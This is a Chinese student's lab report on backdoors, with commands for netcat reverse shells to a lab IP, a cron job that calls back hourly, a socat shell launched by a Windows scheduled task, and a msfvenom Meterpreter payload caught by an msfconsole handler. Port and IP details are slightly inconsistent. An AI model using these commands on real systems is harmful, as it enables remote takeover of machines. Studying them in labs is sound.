2018-2019-2 20165212《网络对抗技术》Exp2 后门原理与实践
1.实验内容
- (1)使用netcat获取主机操作Shell,cron启动
- (2)使用socat获取主机操作Shell, 任务计划启动
- (3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- (4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- (5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。加分内容一并写入本实验报告。
实验环境
- 关闭防火墙的win7虚拟机,我的ip地址为: 192.168.235.138
- kali虚拟机.ip地址为: 192.168.235.137
- 两台虚拟机可以ping通
实验中用到的工具
- netcat。在linux下叫ncat,我们的kali机自带,可以直接用man ncat 命令查看。windows7中,直接在浏览器里从 GitHub下载或者从自己机子里拖拽进去。
- socat。netcat的增强版。安装方法同上。
- meterpreter。kali机自带,只在kali中用
实验步骤
1.使用netcat获取主机操作Shell,cron启动
win7为坏人,linux为受害者。cron启动
- win7监听,linux反弹连接
- win7中cmd窗口中输入: netcat.exe -l -p 9999 。 表示开始监听9999端口。注意,要在netcat所在的目录下进行输入。
- kali中输入命令 nc 192.168.235.138 9999 -e /bin/sh 。这时候win7的cmd窗口里就获取了linux的shell了
- cron启动。Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以" man cron "。这里的cron启动时去让linux受害者去定时反弹连接win7。
- 用 crontab -e 指令去增加一条定时任务,
-
格式如下
-
# m分钟 h小时 dom日期 mon月 dow周几 command执行的命令
12 * * * * /bin/netcat 192.168.235.138 9999 -e /bin/sh
- 写完输入指令 crontab -l 查看。
-
- 每个小时的第12分钟,kali中就会自动执行那条指令,所以如果目标ip138的机子整好就在9999端口监听,那这时候就138就会获得kali的后门。当然也可以正向连接,linux作为受害者,cron指令写成 nc -l -p 9999 -e /bin/sh ,然后坏人机win7中 nc IP 9999 ,也能获得shell
linux为坏人,win7为受害者。
- linux监听,输入命令 nc -l -p 9999
- win7去反弹连接,在ncat目录下输入 ncat.exe -e cmd.exe 192.168.235.137 9999
- 这时在linux中可以看到win7的cmd命令窗口
-
2.使用socat获取主机操作Shell。 任务计划启动
- 这意思是win7作为受害者,用系统里的任务计划启动,定时“要求被害”。所以,这里只做win7作为victim反向连接的。
- 用 man socat 命令查看socat的介绍及相关用法: (socat图)
- win7中打开控制面板,点击管理工具里的计划任务
- 点击右侧的 创建任务 ,在 常规 选项卡里填名称,自己以后要认得出来
- 点击 触发器 选项卡,选择新建,然后将开始任务设置为 工作站锁定时
- 再点击 操作 选项卡,点击新建,程序或脚本中选择socat.exe路径,在添加参数一栏中写 tcp-listen:5212 exec:cmd.exe,pty,stderr (作用是把cmd.exe绑定到端口5314,同时把cmd.exe的stderr重定向到stdout上),点击确定 保存设置 :
- 点击左侧的 任务计划程序库 ,点击右边的 显示所有任务 ,然后再中间部分找到自己刚创建的任务,右键运行,弹出一个taskeng.exe框,然后切换到kali
- 在Kali Linux中输入 socat - tcp:192.168.235.138:5212 命令,可以成功得到一个cmd shell:
3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
后门就是一个程序。
- 传统的理解是:有人编写一个后门程序,大家拿来用。
- 后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的
- 基本功能(基本的连接、执行指令),
- 扩展功能(如搜集用户信息、安装服务等功能),
- 编码模式,
- 运行平台,
- 以及运行参数
- 全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。 典型的平台就包括有:
- intersect
- Metaspolit的msfvenom指令
- Veil-evasion
我们接下来学习如何使用msfenom生成后门可执行文件。我们要生成的这个后门程序是Meterpreter. 揭开Meterpreter的神秘面纱介绍了meterpreter的一些底层原理。
- 现在文件生成好了,先再win7的命令行中输入 ncat -l 5212> 20165212backdoor.exe 开启监听并将接受的数据写入20165212backdoor.exe文件中
- 再kali中用 ncat -nv 192.168.235.138 5212 < 20165212_backdoor.exe 指令将数据传过去
- 彳亍,现在要用msf了,一个强大的平台。。。自己感受。kali中输入 msfconsole :
- 依次输入以下命令
-
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.211.55.10 //注意此处应为Linux的IP!
set LPORT 5212 //后门程序里的端口号
show options
exploit
4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- migrate [] 命令,例如我把msf会话移植到1588 中,是explorer.exe,稳定的系统服务。从头想起,我们的实验是把受害者绑起来给他植入后门,很无脑。如果是正常的利用系统漏洞、浏览器漏洞溢出而得到的会话,比如IE浏览器,那么msf meterpreter代码存在于IE的内存空间中,那边关掉IE浏览器,msf会话就没了,但是若存在于 explorer这样稳定的系统服务中,就能一直用。而且,这种移植是“无缝移植”,不用断开已有的TCP连接。
- execute 命令,例如我直接与win的cmd.exe交互,输入 execute -H -i -f cmd.exe ,得到下图所示的shell
- upload / download 命令,顾名思义——往受害机传/从受害机下载 文件
- .
-
5.可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
——玩游戏的会后开外挂,那时候我会自己关掉windows Defender和杀软。游戏外挂通过驱动劫持(声卡),在和服务器数据互动的时候实现篡改。或者是浏览器漏洞,例如我用edge浏览器写博客,它莫名其妙自己崩溃,还不保存!edge是win10自带 的一个浏览器,兼容性应该没问题,所以频繁崩溃的原因可能在于进程冲突、浏览器漏洞……
(2)例举你知道的后门如何启动起来(win及linux)的方式?
——我玩游戏开外挂,那个外挂程序就是一个后门,在我启动wegame时它会跟着启动(不隐藏),这应该是手动触发启动
(3)Meterpreter有哪些给你映像深刻的功能?
——shut down
(4)如何发现自己有系统有没有被安装后门?
——日志,进程查看
实验总结与体会
总结:
实验内容较多,尤其是是meterpreter实践,有很多很多事可以做,我只写了看起来重要且常用的一些指令,更多的请参考《Metasploit渗透测试魔鬼训练营》。本次实验在一个理想化程度很高的环境下完成,这样在现实中是没有任何意义的。相比较于msf中花里胡哨的操作,我觉得更重要的还是去研究有堆栈保护、有杀软、有防火墙的环境下如何渗透目标,哪怕是一个bit,因为要在那样的基础上我们后续的实验、操作才有可行性。或者是几个人凑各团队,每个人负责一块。
体会:
markdown里传图片功能坏了,我...